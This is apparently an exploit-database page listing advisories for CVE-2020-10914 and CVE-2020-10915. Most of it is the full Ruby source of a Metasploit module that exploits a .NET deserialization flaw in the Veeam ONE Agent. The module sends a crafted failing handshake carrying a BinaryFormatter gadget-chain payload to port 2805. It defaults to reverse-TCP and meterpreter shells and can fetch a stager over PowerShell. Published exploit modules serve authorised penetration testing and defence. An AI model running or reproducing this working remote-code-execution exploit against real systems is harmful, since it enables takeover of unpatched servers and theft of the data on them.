| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| Veeam ONE Agent .NET Deserialization Exploit | 5 May 202000:00 | – | zdt | |
| Exploit for Deserialization of Untrusted Data in Veeam One | 20 Oct 202120:27 | – | githubexploit | |
| CVE-2020-10915 Preauth RCE in VEEAM One Agent | 22 Apr 202000:00 | – | attackerkb | |
| CVE-2020-10914 | 22 Apr 202000:00 | – | attackerkb | |
| CVE-2020-10914 | 1 May 202020:31 | – | circl | |
| CVE-2020-10915 | 1 May 202020:31 | – | circl | |
| Veeam One Agent Code Issue Vulnerability (CNVD-2020-41987) | 20 Apr 202000:00 | – | cnvd | |
| Veeam One Agent Code Issue Vulnerability | 20 Apr 202000:00 | – | cnvd | |
| CVE-2020-10914 | 22 Apr 202020:51 | – | cve | |
| CVE-2020-10915 | 22 Apr 202020:51 | – | cve |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veeam ONE Agent .NET Deserialization',
'Description' => %q{
This module exploits a .NET deserialization vulnerability in the Veeam
ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the
9 and 10 release lines.
Specifically, the module targets the HandshakeResult() method used by
the Agent. By inducing a failure in the handshake, the Agent will
deserialize untrusted data.
Tested against the pre-patched release of 10.0.0.750. Note that Veeam
continues to distribute this version but with the patch pre-applied.
},
'Author' => [
'Michael Zanetta', # Discovery
'Edgar Boda-Majer', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10914'],
['CVE', '2020-10915'], # This module
['ZDI', '20-545'],
['ZDI', '20-546'], # This module
['URL', 'https://www.veeam.com/kb3144']
],
'DisclosureDate' => '2020-04-15', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
],
[
'Windows Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
],
[
'PowerShell Stager',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill?
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(2805),
OptString.new(
'HOSTINFO_NAME',
[
true,
'Name to send in host info (must be recognized by server!)',
'AgentController'
]
)
])
end
def check
vprint_status("Checking connection to #{peer}")
connect
CheckCode::Detected("Connected to #{peer}.")
rescue Rex::ConnectionError => e
CheckCode::Unknown("#{e.class}: #{e.message}")
ensure
disconnect
end
def exploit
print_status("Connecting to #{peer}")
connect
print_status("Sending host info to #{peer}")
sock.put(host_info(datastore['HOSTINFO_NAME']))
res = sock.get_once
vprint_good("<-- Host info reply: #{res.inspect}") if res
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
# TODO: Create an option to execute the full stager without hacking
# :linemax or calling execute_command(generate_cmdstager(...).join(...))
execute_cmdstager(
flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0
linemax: 9001 # It's over 9000
)
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
ensure
disconnect
end
def execute_command(cmd, _opts = {})
vprint_status("Serializing command: #{cmd}")
serialized_payload = Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :TextFormattingRunProperties,
formatter: :BinaryFormatter # This is _exactly_ what we need
)
print_status("Sending malicious handshake to #{peer}")
sock.put(handshake(serialized_payload))
res = sock.get_once
vprint_good("<-- Handshake reply: #{res.inspect}") if res
rescue EOFError, Rex::ConnectionError => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
def host_info(name)
meta = [0x0205].pack('v')
packed_name = [name.length].pack('C') + name
pkt = meta + packed_name
vprint_good("--> Host info packet: #{pkt.inspect}")
pkt
end
def handshake(serialized_payload)
# A -1 status indicates a failure, which will trigger the deserialization
status = [-1].pack('l<')
length = status.length + serialized_payload.length
type = 7
attrs = 1
kontext = 0
header = [length, type, attrs, kontext].pack('VvVV')
padding = "\x00" * 18
result = status + serialized_payload
pkt = header + padding + result
vprint_good("--> Handshake packet: #{pkt.inspect}")
pkt
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation